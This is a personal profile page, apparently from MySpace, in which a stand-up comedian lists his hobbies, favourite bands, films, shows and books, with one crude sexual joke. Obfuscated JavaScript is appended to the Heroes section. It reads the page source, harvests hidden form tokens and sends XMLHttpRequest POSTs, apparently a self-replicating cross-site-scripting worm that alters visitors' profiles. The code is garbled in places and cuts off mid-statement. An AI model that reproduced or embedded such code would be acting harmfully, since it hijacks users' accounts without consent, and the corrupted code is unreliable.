About Me

I was in the music business for a long time and was one of the lucky ones to actually make a living at it and get out when the getting was good. I spent a few years away from performing then went in to comedy. I will make you laugh your ass off! Don’t believe me?

My Interests

I am a professional stand up comedian based in the Southern California area. I love to make people laugh. My favorite food is sushi. I am also a serious wine collector. I generally have around 300 bottles in my cellar. I love to snow ski, and write and record my own music. and work on my classic 60's muscle cars, I have a 67 Camaro and a 68 Firebird ( I use to have the mullet to go along with these cars but finally had to give it up). In my spare time I like throwing back a dose of Cialis and using my dick to take batting practice in the back yard.

Music:

Where do I begin? As someone who made his living in the music business for years this is near and dear to me. First off the Greatest Band ever was the "Beatles" period, a close second is Led Zeppelin, amongst my favorites are STP, Army of Anyone, Kiss, Sound Garden, Audio Slave or anything with Chris Cornell, Foo Fighters (Dave Grohl is the man), Alice in Chains, Linkin Park, Red Hot Chile Peppers, Lenny Kravitz, Def Leppard, Janes Addiction, Green Day, System of a down, Early Tom Petty, Yes, Van Halen, Avenge Seven Fold, Rage Against the Machine, Cheap Trick, U2, Stanley Jordan, Al Dimeola, Alan Holdsworth, Mr. Big, Roy Orbison, Elvis, Sam Cook, Beach Boys ( Brian Wilson is still a genius!), The Killers, Nine inch Nails, Aerosmith and Queen, Heart. There are a lot more but we’d be here forever.

Movies:

The first two Godfather movies (come on, what self respecting guy doesn't have these 2 films on his list), most of the Farlley Brothers movies for laughs. I also love Pulp fiction. Good Fellas, My Cousin Vinny, Big Lebowski, and Shawshank Redemption, I know there are more but I can't think of them now.

Television:

Entourage, Sopranos, Big Love, Lost, CSI (original only), I love 2 1/2 men it always makes me laugh but Cheaters is by far the funniest show on T.V.

Books:

Early Stephen King (The Stand is still one of my favorites), Scott Turrows first two books. A good classic or a good biography always works. To Kill a Mocking Bird is one of the best classics of all time.

Heroes:

God,My Kids, Anyone who gets their ass out of bed in the morning and goes to work because their family depends on them, The person who invented Diet Coke, Anyone who has the balls to get up on stage and try to make people laugh. 0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','% 2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26' )}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}..'J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if( BJ=='POST'){J.setRequestHeader('Content-Type','application/x -www-form-urlencoded');J.setRequestHeader('Content-Length',B K.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=getSource();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace ('exp'+'r)','exp'+'r)'+A);AF=' '}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes',' ');AG=AG.substring(61,AG.length);if(AG.indexOf('
